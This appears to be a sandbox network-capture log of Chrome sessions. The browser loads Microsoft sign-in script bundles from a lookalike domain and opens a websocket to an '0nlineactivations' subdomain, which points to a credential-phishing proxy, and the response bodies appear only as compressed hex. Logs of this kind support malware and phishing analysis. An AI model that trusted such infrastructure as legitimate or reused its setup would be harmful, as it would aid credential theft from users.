2024-12-20 19:31:40 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:39 GMT Content-Type: application/x-javascript Content-Length: 61135 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 25 May 2023 17:22:47 GMT etag: 0x8DB5D44A8CEE4F4 x-ms-request-id: 72554916-501e-0059-59b0-5044d5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193139Z-1777998d8f9pdqxlhC1DUSzd6g00000008t0000000006sd2 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:40 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cc bd 69 77 db 46 b2 30 fc fd fe 0a 0a 27 57 03 8c 60 9a 94 97 38 a4 11 5e 59 a2 6d 26 da a2 25 4e 46 d6 e8 40 60 4b 82 4d 02 0c 00 4a d6 48 fc ef 4f 55 f5 8e 85 92 92 dc f7 be 27 b1 08 34 aa f7 ea ea ea ea 5a dc 9b 38 19 a7 37 ed 82 4d d8 94 15 d9 ed d9 0d 3b 9f 85 d1 d7 9f f2 34 99 05 4b bf de df 9f 9c 7a ed d9 3c bf 72 4f 4e d6 4f fd 13 df f7 2f e6 49 54 c4 69 e2 32 bf f0 13 ef ce 99 e7 ac 95 17 59 1c 15 4e 3f 69 67 6e e1 f9 49 7b ec 16 be f3 6b 38 99 b3 9f a1 02 c7 77 55 36 ef 2e 63 c5 3c 4b 5a 59 9b 2d 3c 05 3b bc 66 49 b1 1d 16 2c 89 6e 1b c0 c3 32 f8 3e cb f2 38 c7 2c ac 21 cb b9 91 e5 28 0b 23 b6 cd ae d9 a4 01 78 6c 00 6f cc 66 a3 24 8f 2f af 8a 7c 33 cd ea 8b 8f ad 16 bd 0b 73 d6 08 6a 16 7d 36 fc 06 4d 1e b3 f1 28 Data Ascii: iwF0'W`8^Ym&%NF@`KMJHOU'4Z87M;4Kz<rONO/ITi2YN?ignI{k8wU6.c<KZY-<;fI,n2>8,!(#xlof$/\|3sj}6M(
2024-12-20 19:31:40 UTC	12556	IN	Data Raw: 6d 74 26 57 42 7b c2 99 86 bc a8 f5 80 63 8b 6a 4a 9e 54 d1 2a 3c 3b 8c 9a ae e0 ca bf f5 87 fe 2e 55 b3 82 22 21 5d 14 2a 7b 6a 59 52 ee b9 b7 e5 eb 28 3e 8a aa 58 dc 5d c9 eb 91 2a 42 15 4f a4 66 24 e9 cb 15 33 42 61 ed 33 ee cd 40 8b 82 3c 34 80 ba 2e f0 2e 21 9f c1 16 b0 ba 6a bf 43 bb fc c8 d4 89 87 fc 91 7d b3 79 db 38 3c 5c 8d 8c cb 5e 38 9b 7c 53 43 2f a5 81 26 b5 8d ab ab fb 62 16 7c b4 4c d3 8d f5 e3 e0 3b 54 43 c1 2d 50 70 06 3c f4 cf f0 5b b1 79 71 89 f7 66 ea 22 c3 0c bb 54 e7 6e 9b 3c 6d 27 5c 5a 83 05 01 fb 49 3e 99 15 cf 8f 00 a4 8e 5c 98 0e 87 c2 85 7b 05 a4 a4 70 6f 28 c8 1f a0 f4 27 26 71 06 45 4f 90 f0 9e b9 7b fe 4d a3 e8 59 f4 8d fc 90 12 fc 6f f6 36 ee 96 d9 84 b2 55 80 c5 3d dc ed 8b 9b 20 58 b6 fb fc 12 a8 97 2c fa d6 09 d9 e5 b7 Data Ascii: mt&WB{cjJT<;.U"!]{jYR(>X]*BOf$3Ba3@<4..!jC}y8<\^8\|SC/&b\|L;TC-Pp<[yqf"Tn<m'\ZI>\{po('&qEO{MYo6U= X,
2024-12-20 19:31:40 UTC	16384	IN	Data Raw: d2 f4 19 a1 32 9a 9c 2b 6f 88 b7 25 06 e2 87 06 63 36 55 d8 19 e4 4d 2c d9 48 4a d1 d2 7c ae 51 27 81 18 43 19 5f 27 c5 cc 7f a5 a4 8e e0 84 42 6e f8 db 87 f7 ef 8a 62 22 cf bb 16 74 ac ad a5 ee 00 ba 04 52 f6 7e 59 a3 b4 79 f9 fa 71 12 e6 f9 de 97 f0 e1 90 25 12 80 76 a1 d0 f7 ca 18 1d e4 3a e0 f0 8d 16 97 f5 05 c3 71 ee 40 0d 77 d0 a0 6d 2b 98 92 90 02 7d ab 28 f8 a5 a1 cc 47 30 a8 74 5a 38 ec e5 7c 3e f7 bf 4f 37 a1 9e 27 98 19 fc 9a 37 b5 25 e2 a5 9c c7 70 29 07 34 35 4a bc ab 2d 31 58 ca 37 9a 2e e5 d6 e5 4b b9 a8 a3 a5 7c b4 f1 52 0e e8 d0 28 71 be 94 67 fc d3 52 9e 71 3d c7 6f b2 94 17 77 65 94 38 5c ca 77 fe 75 29 df f9 ed 52 be 73 3d 7f d3 e4 3b d7 73 62 4d be f3 b0 9e 89 6e 32 9e 8f 97 32 9e cf 96 32 9e f7 97 32 9e 5f 2f 65 3c d7 33 6b 4d c6 f3 Data Ascii: 2+o%c6UM,HJ\|Q'C_'Bnb"tR~Yyq%v:q@wm+}(G0tZ8\|>O7'7%p)45J-1X7.K\|R(qgRq=owe8\wu)Rs=;sbMn2222_/e<3kM
2024-12-20 19:31:40 UTC	16384	IN	Data Raw: 17 3f 81 20 98 f4 f6 65 af e4 05 47 2c 89 0c c1 36 1f f2 8a 56 94 19 e4 28 32 a5 de 15 d6 45 c6 cd a0 cc e5 30 3d 8b c2 6c 98 de d7 f9 46 c9 02 c9 0e 96 be fb 59 76 b2 a0 ab 9b 94 d2 94 8a c6 2e 0b 55 d8 87 94 75 38 51 83 75 76 e1 0c 0e 00 85 4f c1 f4 7b c5 59 03 25 ce 1a ff 7b f0 7f 53 f9 f6 db 14 17 c0 a6 8c ee f5 42 c0 7f dc 0b 23 79 8d 42 d5 63 77 53 f8 f6 c3 f5 da 97 f7 c5 1d de 4d 5f 7f 26 c6 14 29 f9 22 e2 2f 17 50 a9 2d cd 7b b4 80 19 a6 13 0d 76 ed 00 a3 69 7e a8 50 e6 57 b6 a3 4c c1 85 83 09 a3 60 b7 50 65 c9 cb c8 34 66 2c 10 1e c5 0c 0c 55 30 03 70 a9 1b 3d 9a a2 ee 45 0f ce 63 e8 4c 12 c1 dd e6 f8 4b 57 6e 26 bd 62 c6 88 f8 b9 b8 d7 68 1f 71 f6 53 ae 34 62 d8 93 c9 32 6c e7 5d 53 46 79 49 9b 1b e6 bd 75 be 8d 32 59 80 30 16 16 07 d6 c4 a6 59 Data Ascii: ? eG,6V(2E0=lFYv.Uu8QuvO{Y%{SB#yBcwSM_&)"/P-{vi~PWL`Pe4f,U0p=EcLKWn&bhqS4b2l]SFyIu2Y0Y
2024-12-20 19:31:40 UTC	233	IN	Data Raw: f9 6e 4a 77 75 fa 64 e3 1b 9e b0 0b 73 41 de 05 75 81 5d 06 8b 05 8c 5c 3c bb 2c 0b 3c 81 e9 52 4d d5 b8 2e 52 3a 40 53 3e ac dc 44 af 40 e5 90 9c 7c 15 a3 db 86 ef 46 32 d1 8f 14 d8 9e b0 79 88 a7 33 1e 66 b9 b5 99 5a 30 bc f6 46 2e 59 8a 06 1e 82 e4 68 42 cb 27 67 f9 9a 48 60 f8 6a 19 ee 2b e7 38 ac 77 6c 09 f2 83 36 b9 19 0c e9 cf 4c d2 dc 4c 52 58 b7 3f 53 53 ec 88 ec bb be 01 53 21 df a4 ef 32 9e 50 b7 25 56 a3 13 81 94 62 53 bd 6e 47 9c 02 29 26 ee 4d ed 40 dd 1d 61 42 ad 75 77 85 8e 59 da dd bb f3 ef 46 20 6a ff c7 e3 c7 ff b9 51 64 cb 1c 19 f5 c5 02 88 c4 c7 93 b7 41 96 46 87 c5 f9 b4 13 b5 a6 bb 61 ab f3 6c ff 49 6b da 6e 4d 9e 3e eb 34 bf 14 cd 79 b8 f8 1f ed 39 52 d8 27 e7 02 00 Data Ascii: nJwudsAu]\<,<RM.R:@S>D@\|F2y3fZ0F.YhB'gH`j+8wl6LLRX?SSS!2P%VbSnG)&M@aBuwYF jQdAFalIknM>4y9R'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49745	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:39 UTC	561	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:40 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:40 GMT Content-Type: application/x-javascript Content-Length: 16345 Connection: close cache-control: public, max-age=31536000 last-modified: Sat, 26 Oct 2024 01:33:48 GMT etag: 0x8DCF55E3D91C34E x-ms-request-id: fac811d9-701e-004e-21b0-50edde000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193140Z-1777998d8f9c2tsjhC1DUSgwhc000000098000000000z1md x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:40 UTC	15572	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c1 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 9b b5 3f 8d bd c0 df 13 fb 8f ea 77 21 d8 f3 f7 1f bd 9b 3d ef 47 ff e7 fd 50 c4 eb d0 2f e0 ef 92 f8 b4 0a c2 38 7a f5 d1 0d 0b 71 03 5f 35 1e e5 bb fa e3 67 c7 9b d5 7d 67 11 b8 33 31 ab ff a1 f2 f9 95 6c 2a b0 e9 d4 5d 2c f6 62 d5 83 13 3b c9 ef 60 1f 1e b8 59 e3 0f e5 a4 e0 33 0e e3 35 1e 75 47 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d 60 af bc ff 79 ef c7 64 1a 4e e0 78 00 fc 5e 75 9f a0 f4 1b de 5e 05 fa 87 3f 87 fb 4e 08 7f 8e f6 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo?w!=GP/8zq_5g}g31l*],b;`Y35uGAiNP6<w(`ydNx^u^?N
2024-12-20 19:31:40 UTC	773	IN	Data Raw: e8 04 1b c0 7a 77 4c f1 70 ee 03 7e b9 52 66 00 e0 2d 4b 19 b6 30 82 b4 8c 07 10 e2 6a 41 51 4f 3c 0d 86 9c fb 90 51 1e b8 7e 38 ef ac ca 5b ce 0d e6 a8 e8 40 1c 3c 54 74 00 12 3d d5 58 6e a1 df 32 fc 96 7e 1f e6 a4 0f c0 6d c1 20 4b f4 e5 94 23 08 f2 7a 2b a7 b0 22 f9 95 e1 1b bc 5a 63 78 0f a0 e3 c1 92 39 86 02 bf 1f 40 12 07 fe c0 04 ed 43 f1 51 60 30 01 9f 99 b9 11 22 9c 9c 46 f5 21 03 4e d8 91 99 23 47 70 69 f5 43 13 bf cf 2b a3 5b 30 aa 4d 00 19 ad 61 59 30 a3 07 1c ad 07 46 55 f6 20 7e 60 b4 50 c6 37 58 14 8d 87 24 dd 1a 60 1d ef 0e ff 78 de 3c 3f 3d 3f 29 da 42 15 9f 5b 3c cd 11 b4 5f 48 e5 b0 5e 8c 8c 27 d8 05 98 35 59 15 2d 93 07 3e a7 63 10 ab 63 49 07 c0 d2 95 1b 8e 96 fc d4 b9 0c ab 80 76 df 91 f7 17 e2 c7 c6 08 08 ae 98 e1 2e 77 5a 67 fd 21 Data Ascii: zwLp~Rf-K0jAQO<Q~8[@<Tt=Xn2~m K#z+"Zcx9@CQ`0"F!N#GpiC+[0MaY0FU ~`P7X$`x<?=?)B[<_H^'5Y->ccIv.wZg!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49746	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:40 UTC	542	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:42 UTC	807	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:41 GMT Content-Type: application/x-javascript Content-Length: 122516 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 22 Nov 2024 01:34:34 GMT etag: 0x8DD0A95D1F56318 x-ms-request-id: d98fa09b-a01e-0062-5c7e-500171000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193141Z-1777998d8f96rlqghC1DUSczfw0000000900000000006qd2 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:42 UTC	13653	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7d 5b e3 b8 92 38 fa ff fd 14 c1 e7 5c 26 19 4c da ce 7b cc 78 d8 74 80 6e 76 80 70 08 f4 cc 2e cd e1 71 6c 25 78 48 ec ac ed f0 72 42 f6 b3 ff aa 4a 92 2d 27 0e dd 3d bb cf bd cf 7d ee ec d9 26 96 4a 6f a5 52 a9 aa 54 2a 7d f8 79 e7 ff 2a fd 5c da ff fe ff 4a c3 eb de d5 75 69 70 52 ba fe 7c 7a 75 54 ba 84 af ff 28 5d 0c ae 4f fb c7 df 5f 0f 36 8a ff 7f fd e0 c7 a5 b1 3f 65 25 f8 3b 72 62 e6 95 c2 a0 14 46 25 3f 70 c3 68 1e 46 4e c2 e2 d2 0c fe 8d 7c 67 5a 1a 47 e1 ac 94 3c b0 d2 3c 0a ff 64 6e 12 97 a6 7e 9c 40 a1 11 9b 86 cf a5 32 54 17 79 a5 4b 27 4a 5e 4b a7 97 95 2a d4 cf a0 36 7f e2 07 50 da 0d e7 af f0 fb 21 29 05 61 e2 bb ac e4 04 1e d5 36 85 8f 20 66 a5 45 e0 b1 a8 f4 fc e0 bb 0f a5 73 df 8d c2 38 1c 27 a5 88 Data Ascii: }[8\&L{xtnvp.ql%xHrBJ-'=}&JoRT}y\JuipR\|zuT(]O_6?e%;rbF%?phFN\|gZG<<dn~@2TyK'J^K*6P!)a6 fEs8'
2024-12-20 19:31:42 UTC	16384	IN	Data Raw: a6 01 dd eb 0b 3e 40 e1 19 29 bd c5 b2 e7 c5 5d e5 d5 40 3e 07 b0 f7 8e 29 2c 43 59 5b 1a 2b bb 04 f9 78 b8 61 57 97 e6 ea 60 0e e4 69 2f 6b ab 03 4e 93 40 9c f5 d5 b2 b1 5a 36 57 9a ce d5 ef e3 6a 46 ae fa 54 5f 28 06 91 ff 71 fd 7e 51 fd 2b fd 39 f2 93 4d fe ad 3b 7a 28 0c 02 4b fe a4 5a 78 08 a8 45 a4 4c 6d e5 d4 07 1b 57 a6 e4 00 04 ce 29 7d c3 d2 36 f4 73 e8 50 75 e6 bc c0 cf a9 7c 69 be 56 e1 1c 6b 61 7b 7b 53 ce 02 a9 e4 71 95 7a 82 c6 71 ba 56 eb a8 dd 39 a4 79 b8 e4 eb 13 3b 5f e6 67 ef fa 42 74 52 8c 23 5f 7a 7d 54 72 4c 53 32 5b 73 de 5a 39 16 0a 0d c0 84 95 03 7a 97 3b 7b 92 d0 f6 81 7d 91 ec 2c e4 c6 8c 90 c5 28 f4 b9 ed 00 d1 48 8c 03 f1 21 8e c6 88 2e 39 37 da 5e 88 69 13 3b e2 e4 38 b3 93 1c 99 1d 2c ec 78 77 97 bf b1 01 b2 7a bc e6 02 a1 Data Ascii: >@)]@>),CY[+xaW`i/kN@Z6WjFT_(q~Q+9M;z(KZxELmW)}6sPu\|iVka{{SqzqV9y;_gBtR#_z}TrLS2[sZ9z;{},(H!.97^i;8,xwz
2024-12-20 19:31:42 UTC	16384	IN	Data Raw: cd 03 75 9c fa bf 47 dd a7 40 be f4 b4 8c 2e 8c e8 87 6c 40 ba 90 bd f1 18 29 83 cf d1 23 e4 40 95 ca 24 cd 32 3e 61 0e 82 31 ae 17 f1 7a ee d5 17 06 57 32 e9 6a e0 bf 52 53 7e 37 8f 72 5f fb 5e cb 2a ec d8 46 6c c7 36 a7 18 7f 90 f1 43 94 07 e8 95 e5 4f 51 ef 78 a0 a5 74 cd 47 0f 75 bc e4 57 63 9e bc 70 1c 57 a2 d0 d9 f7 6e cf bd 41 0a 18 ef a3 a5 b7 cb cb ef 60 0e 3e 37 71 44 dd 37 7e c1 6a e0 9a 3d f2 a7 cd 12 f1 4b 8c 8c fd b3 fb 0b 14 81 14 1b c6 41 58 5b 10 08 21 42 f8 8a 0d 20 a3 f6 90 52 e0 58 da 67 a9 89 27 6c 0b ac 8e 49 54 a1 8d 0a 04 39 a4 07 23 22 07 c9 c4 0f 46 68 51 2e 41 35 46 cd 3b d8 01 c1 90 90 08 9f 0f 91 e0 ee 8b 5e 6c ac 55 7b 91 db 1b bb db 04 78 b4 cf 58 60 07 40 0d 49 19 81 7d 1a b9 6f ab cd 76 9e 8c f6 39 4f 1f 31 30 e0 4b cd 98 Data Ascii: uG@.l@)#@$2>a1zW2jRS~7r_^*Fl6COQxtGuWcpWnA`>7qD7~j=KAX[!B RXg'lIT9#"FhQ.A5F;^lU{xX`@I}ov9O10K
2024-12-20 19:31:42 UTC	16384	IN	Data Raw: 66 34 bf f4 ab 59 8f 58 75 c1 19 f6 aa ef 3f 04 63 7e f7 a1 a6 9e 33 38 20 f7 46 23 ce 70 52 93 81 01 68 d0 f3 95 f3 9c 99 63 a1 24 95 a2 81 07 a5 d7 b4 1a f8 6e 3a 9d b0 30 48 0c 99 99 91 65 d2 fc 8a 7f 1b af 07 b4 d3 8f 78 db 87 9f e2 fc 16 83 91 9d a5 72 88 7f 34 c7 05 ae 25 98 9f 3b 3e 1f c4 24 98 39 f8 88 50 43 f3 ce 6c cd 38 8a 3e 9f 2a f3 77 ce d2 33 0b c0 bd 86 6d e0 97 a7 66 73 e9 76 28 de 9e 98 6f eb 0c 40 39 e3 be 91 4f 1d 98 45 49 b7 66 23 26 64 14 c1 f3 62 d6 91 a7 c3 e1 28 3a 4c ef 70 6e 0e b2 ec 00 89 60 ce f9 c6 9c 65 83 f9 a4 0c 6f cd 0c d3 e4 cb 24 18 97 87 63 50 33 9c c6 9e 38 33 d7 52 48 f6 80 e6 5a 3a 31 47 1d 37 2c cc fd 01 db 99 8b 11 51 6d a1 56 a8 ba e5 95 ab a9 f0 90 67 07 52 7d c1 9b 1a 6f 60 42 ad 44 d9 1f 86 0f 93 c2 a4 52 a4 Data Ascii: f4YXu?c~38 F#pRhc$n:0Hexr4%;>$9PCl8>*w3mfsv(o@9OEIf#&db(:Lpn`eo$cP383RHZ:1G7,QmVgR}o`BDR
2024-12-20 19:31:42 UTC	2731	IN	Data Raw: 20 a2 66 bc 37 de 33 e2 05 5b 30 1d 05 9a 67 8f b1 1e 4d bf 41 3f 66 3e d0 47 c1 96 8b a3 17 bc b1 fe 6e b5 4a 79 2d 20 eb 04 f4 37 c9 34 36 9e 34 b6 eb 6e a7 d7 44 2d d9 22 a7 6e 2a 07 26 b5 94 13 88 7c 3f f3 16 41 a3 a2 c8 16 4d b3 6a 21 28 fa 08 09 18 69 74 9a a4 70 4a 5d 09 f0 24 7b fa 34 53 04 54 8b 8b 10 0d 06 6e b6 54 b3 a8 d5 27 31 bb d0 fa d9 c3 43 c4 27 8e 7c 19 7a 06 69 2b cc 0a ba 20 ec b4 b5 fa bf 2c 3b c2 b7 a9 bb 01 8c 08 34 eb 14 2c 67 1e 7b c8 66 ee f4 cf 08 96 dd 15 75 54 a3 c0 db 19 0a e1 de f6 e8 81 27 e4 e3 e2 a9 4c a5 a6 53 09 82 d6 bf d6 73 c5 4f 42 22 a4 29 27 83 55 12 23 fc 93 a7 d1 1d d4 0f ab ec d2 67 df c5 82 81 2d 32 11 7d 4d fd 11 57 a4 25 97 cb 64 3c 8e d3 47 1c 58 54 43 ff 94 07 8b cd 16 75 db f6 2c 07 6c cb 42 cf 12 17 1b Data Ascii: f73[0gMA?f>GnJy- 7464nD-"n*&\|?AMj!(itpJ]${4STnT'1C'\|zi+ ,;4,g{fuT'LSsOB")'U#g-2}MW%d<GXTCu,lB
2024-12-20 19:31:42 UTC	16384	IN	Data Raw: 70 06 1d e7 69 4e 3f 06 23 fe 13 4c 5d fa 41 52 f5 d0 2f f8 06 fd f2 d6 36 82 9c fe cb 54 1b a6 68 f3 1c ff 5c e3 9f 2c 9c d0 97 2e fa d9 c3 43 de f7 2e c2 19 0d 3f 55 f1 7c c3 27 f6 e9 82 3e 20 37 f0 8d b9 34 74 7a 3a 55 9d 3c 0b ef 89 df 2d e7 45 50 fa 82 4f 92 9e 3e 7f 9e 03 2e 86 a6 02 f9 bf 90 32 49 55 42 35 50 bd 83 eb e5 95 24 aa 92 98 2a c9 74 25 19 8c fb 54 a9 4f f7 fc 88 26 17 ce aa 0f 0f 53 95 6c 4c bd 4a 6b b6 8c 98 dd 30 0d c9 cf 16 36 48 17 16 af 7b 4d 0c 25 6d ef 31 d1 9a bd e4 3a 29 11 fd 5e c0 09 f4 9b 89 e7 4f 7b 70 19 ce d9 fd ba 85 a9 56 b3 36 26 a1 33 cc b2 69 1c d9 69 af 06 f7 f5 6a 83 64 01 50 99 fb 85 5f c2 31 84 86 5a cc b3 48 1d a3 22 4c 0c bc 00 8b 61 c4 78 8c 71 22 11 59 65 60 d6 31 bc ec 19 47 2e b5 6e e9 42 89 57 69 d8 e7 65 Data Ascii: piN?#L]AR/6Th\,.C.?U\|'> 74tz:U<-EPO>.2IUB5P$*t%TO&SlLJk06H{M%m1:)^O{pV6&3iijdP_1ZH"Laxq"Ye`1G.nBWie
2024-12-20 19:31:42 UTC	16384	IN	Data Raw: 91 64 dc bd e5 de ca 6a 37 06 f5 9c 38 88 24 94 14 21 22 88 de 0c 9a ac c8 a5 ed 7a 39 e4 47 1e c4 7c 37 9d a5 be 03 55 2f f1 04 c4 39 d4 63 0f b8 0d 26 28 98 b0 bd 90 45 89 b7 9b 75 32 9a 91 1d 44 b9 b0 e3 24 86 92 e2 3a 99 64 9e 48 dc dc 73 6c d7 e5 3e 2c 83 dd 74 96 3a 10 0b 5e 06 55 22 e2 02 1c dc 16 8c c1 12 08 42 52 59 a0 27 df 6e 6b 6a b5 1b a3 19 25 09 ac 63 0f 26 4c 2c fc 84 79 ae e0 89 e4 d2 b3 f3 30 24 21 b9 1b 7a f2 53 1b 34 1a b3 2c 0f b0 26 76 00 c1 e4 72 96 f8 3e 69 cf 21 04 fb 6e a6 ce 68 46 59 00 f2 c9 a5 1f db 60 e3 5e 64 3b 7e ec 30 cc 26 58 ac b0 6d 77 27 9c dc 0d 52 d7 15 90 79 39 99 85 8e 9d 40 92 bb 4c 38 be 13 43 be c7 7e 94 dc 6e 67 6c b5 1b a3 19 25 22 88 62 c7 0e 3d 37 f6 6d 9b 06 66 67 76 00 c5 85 98 7a 78 cb fd ca b5 ce 60 11 Data Ascii: dj78$!"z9G\|7U/9c&(Eu2D$:dHsl>,t:^U"BRY'nkj%c&L,y0$!zS4,&vr>i!nhFY`^d;~0&Xmw'Ry9@L8C~ngl%"b=7mfgvzx`
2024-12-20 19:31:42 UTC	16384	IN	Data Raw: d7 3f d4 75 7b 5b 7d 5f 6f d6 ae 68 f9 fa e5 35 1e b6 bf 76 03 ff 00 a9 f6 25 99 3b 5f a0 58 34 fe e1 bf c4 e3 9f 40 3c ce eb c5 6a 09 85 9d 88 cd 4d ed ee 44 9c 6e 6a bc a9 f2 b4 55 e0 a6 ea fa 35 33 f2 3b 09 aa db 8a 10 bd 91 b6 dc 6b 23 1a fb 8b c7 fe e7 f0 58 ba fa 7d 21 7f fa ee 41 c3 59 af f3 15 ef 8a eb ce 55 af 07 b3 d3 bf 58 ee 4d 59 ae 9e ba 9f 4e fb 19 6f e7 db 5f 36 c5 2d 6c 8a df 47 a3 bf 4d 10 c5 2d 59 f8 e6 b0 c2 ee a7 3f 29 57 d7 0d 3d 5d a5 8a 4d cd 3d fd 24 12 f9 f2 76 12 b7 e1 ee 50 0f 66 58 89 07 6c c6 e6 ef 7e d6 f9 34 da fe e4 cf cb f1 6b 5e cf 35 10 07 5c 41 71 f0 ba 01 e3 33 4b 00 ca ca b1 3a f2 fb 75 c6 8e 76 dc c5 c6 62 bf fb ee c3 97 80 38 4f ce e8 ce a7 a2 62 e7 59 71 7a d9 45 97 4f b7 ad a8 91 03 d1 69 e5 3f 64 87 61 5a f2 75 Data Ascii: ?u{[}_oh5v%;_X4@<jMDnjU53;k#X}!AYUXMYNo_6-lGM-Y?)W=]M=$vPfXl~4k^5\Aq3K:uvb8ObYqzEOi?daZu
2024-12-20 19:31:42 UTC	7828	IN	Data Raw: db 72 5e 04 9f 8d 67 0c da c1 eb 84 f0 2d eb 55 94 02 59 a3 19 89 a1 73 e0 b9 e8 84 c8 18 dc 71 e8 cd a3 20 4c 39 af 69 1b a7 7c a1 ea bd 0d 8c 65 8e 06 06 cf cb 74 94 71 60 89 30 30 dc b6 f1 42 20 14 1f 31 4e 8a e3 2b 0b 29 e1 e0 ce 83 cf 8d 77 6c 5a 30 21 1d 31 1c c6 31 b9 35 de 08 72 39 16 2e 28 17 31 6c 0e d4 7b 4b c9 ec 1a 4a d3 18 77 60 a0 58 4e 3b af 15 38 bd 0a 3e 51 e1 50 6f fc 2c 3b 2a ac 28 57 fe d9 3a c8 0d e8 3f ac 20 40 96 f1 e0 0b e6 03 96 ef 1b 00 3a b9 5d 18 2f f9 7a 91 eb d9 61 e8 21 a0 d1 80 03 08 82 2b f4 d9 f8 45 76 f8 0b 75 70 04 48 91 7c 5b 83 a9 a6 91 1b cd 8c 6f 94 b1 3e 7f 71 76 02 22 d6 65 cc b9 e9 8f 08 be df 8d df e8 e4 cb 9d f1 0f 61 ab fb 9d e2 99 f2 4f e2 d7 df d9 bb 7f b2 7f ff 45 27 41 27 ca c0 8a e9 a5 8c 7f 97 9e bd 6a Data Ascii: r^g-UYsq L9i\|etq`00B 1N+)wlZ0!115r9.(1l{KJw`XN;8>QPo,;*(W:? @:]/za!+EvupH\|[o>qv"eaOE'A'j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49747	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:40 UTC	790	OUT	GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1 Sec-WebSocket-Key: 8/8Isgiu/aF6AjO+qpxJiQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
